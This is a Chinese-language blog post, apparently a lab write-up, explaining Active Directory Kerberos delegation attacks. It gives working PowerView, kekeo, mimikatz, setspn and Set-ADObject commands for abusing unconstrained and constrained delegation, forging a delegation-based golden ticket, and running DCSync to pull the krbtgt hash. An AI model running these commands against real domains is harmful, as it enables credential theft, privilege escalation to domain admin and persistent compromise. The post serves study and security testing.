域渗透下的委派攻击（V2）

前言

此文为前文域委派攻击学习后的再次思考，因为先前学习时候部分环境有些局限，可能理解不够透彻，此文再次进行反思&总结
https://www.cnblogs.com/Yang34/p/14264356.html 第一个版本的文章原理啥的更加详细些，这回的文章方向不同些，如果错误请大佬指正

简介

委派：用户A利用自己的身份可以访问到一个网站B，请求网站的资源C，但是网站B上边本身没有资源C，那么网站B就需要用用户A的身份去访问另外一台机器去获取资源C再给到用户
用户A->网站B->用户A的身份->资源C

非约束委派：用户访问服务1的时候，如果服务1的账户开启了非约束委派，那么用户就将自己的tgt发送给了服务器进行访问，随后服务1就可以利用这个tgt也就是用户的身份去访问其他服务，也就造成了非常大的身份假冒的风险，如果控下了一台非约束委派的机器，那么久能够从这台机器上导出用户的tgt，为了解决这个安全隐患出现了约束委派

约束委派：通过域管对服务1进行限制，当用户访问服务1的时候，使得服务1只能用用户身份访问服务2，而无法访问其他任意的服务

s4u：S4U2proxy、S4U2self
	官方文档：https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-sfu/3bff5864-8135-400e-bdd9-33b552051d94?redirectedfrom=MSDN
	S4U2self：进行验证协议切换，用户访问了服务1后，服务1要利用kerberos协议以用户的身份访问服务2，当然用户访问服务1时候也是要用kerberos协议进行验证，但如果不是该如何解决？
		服务1可能是个网站，用户登录网站输入的账户并不一定是域账户密码，这时候就需要用S4U2self进行解决
		
		如果服务1有了S4U2self的权限，服务1能够以域内用户身份向kdc申请一个访问服务1自身的凭证，而且不需要知道目标用户的密码，如服务1可以用域管用户向kdc申请一个访问服务1自身的凭证，如果能够找到这个服务，就有可能可以通过这个服务提权至域管

前期准备

当前环境

域控机器：OWA2013.rootkit.org
服务机器：Srv-Web-Kit.rootkit.org
终端机器：PC-micle-Kit.rootkit.org

主机账户&服务账户开启委派如下：

关于三个选项
不信任此用户作为委派：不开启委派
信任此用户作为任何服务的委派：非约束委派
仅信任此用户作为指定服务的委派：约束委派

信息收集

此处powerview版本是有不同的，请自行注意~~

非约束委派

powerview

Get-domaincomputer -Unconstrained -Domain rootkit.org
Get-DomainUser -Unconstrained -Domain rootkit.org

Get-NetUser -Unconstrained -Domain rootkit.org
Get-NetComputer -Unconstrained -Domain rootkit.org

约束委派

Get-DomainUser -TrustedToAuth -Domain rootkit.org -Verbose | fl
Get-DomainComputer -TrustedToAuth -Domain rootkit.org -Verbose | fl
Get-NetUser -TrustedToAuth -Domain rootkit.org -Verbose | fl
Get-NetComputer -TrustedToAuth -Domain rootkit.org -Verbose | fl

确认dbadmin开启约束委派，对应服务为PC-micle-Kit的cifs

允许委派的账户

Get-NetUser -AllowDelegation -AdminCount -Domain rootkit.org  获得管理员账户
Get-NetUser -AllowDelegation  -Domain rootkit.org  获得普通用户

针对非约束委派

非约束委派，配置服务账户如下：

非约束委派中如果service1能够获得用户的tgt，那么service1就可以模拟用户访问service2的服务

结合当前情况，以开启委派功能的服务账户dbaadmin运行的机器Srv-Web-Kit会缓存用户的tgt，当用户能够到处凭证时即可通过ptt进行攻击

mimikatz导出凭证
如下为导出的凭证，有管理员（ituser）&主机账户的

mimikatz导入凭证

再次连接域控服务

针对约束委派

服务账户配置如下，对目标机器的cifs

约束委派的情况下，服务账户能够获取到用户的tgs，从而模拟用户访问特定的服务，这里主机中是无法抓到用户的TGT的，但攻击者可以获取到开启非约束委派服务账户的口令或hash，也可以进一步构造tgt&s4u请求

伪装成服务账户能够获得任意账户的权限（如域管）从而获得tgs，其中服务账户的明文口令可以通过kerberoasting获取

请求服务用户的TGT
tgt::ask /user:dbadmin /domain:rootkit.org /password:admin!@#45 /ticket:dbadmintest.kirbi

通过s4u请求以administrator身份访问PC-micle-Kit.rootkit.org的ST
kekeo.exe "tgs::s4u /tgt:TGT_dbadmin@ROOTKIT.ORG_krbtgt~rootkit.org@ROOTKIT.ORG.kirbi /user:administrator@rootkit.org /service:cifs/PC-micle-Kit.rootkit.org"  exit

相关凭证如下，此处mimikatz导入凭证即可，不再赘述

约束委派&变种黄金票据

此处变种黄金票据在2012及以后的机器域控上无法成功，因为推出了基于资源的约束委派

什么是黄金票据？伪造TGT，当获取了krbtgt的hash或者key之后可以自行进行伪造tgt，但是krbtgt的hash一旦被修改，那么先前生成的黄金票据就无法进行使用了

此处的变种黄金票据并不依赖于krbtgt的账户&hash，但是是会在系统日志留下痕迹

实际使用

确认账户如下，并设定服务账户
setspn -A test/goldentest yangyang1

设定委派信息如下
Import-Module activedirectory
$user = Get-ADUser yangyang1 -Properties "msDS-AllowedToDelegateTo"
Set-ADObject $user -Add @{ "msDS-AllowedToDelegateTo" = @("krbtgt/motoo.nc") }

通过现有账户获得目标服务tgt
kekeo.exe "tgt::ask /user:yangyang1 /domain:motoo.nc /password:Aa111111" exit

通过s4u获取域管访问krbtgt/motoo.nc的tgs，也就是域管的tgt
kekeo.exe "tgs::s4u /tgt:TGT_yangyang1@MOTOO.NC_krbtgt~motoo.nc@MOTOO.NC.kirbi /user:Administrator@motoo.nc /service:krbtgt/motoo.nc" exit

导入获得的凭证

确认获得凭证

确认获得权限

约束委派&DCSync

利用dc的ldap通过约束委派获取ldap服务的凭证从而dcsync

实际使用

设定服务用户
setspn -A test/ldaptest yangldap
给服务用户设定委派信息如下
Import-Module activedirectory
$user = Get-ADUser yangldap -Properties "msDS-AllowedToDelegateTo"
Set-ADObject $user -Add @{ "msDS-AllowedToDelegateTo" = @("ldap/OWA2013.rootkit.org") }

kekeo.exe "tgt::ask /user:yangldap /domain:rootkit.org /password:Aa111111" exit

kekeo.exe "tgs::s4u /tgt:TGT_yangldap@ROOTKIT.ORG_krbtgt~rootkit.org@ROOTKIT.ORG.kirbi /user:administrator@rootkit.org /service:ldap/OWA2013.rootkit.org" exit

写入内存

dcsync直接拖krbtgthash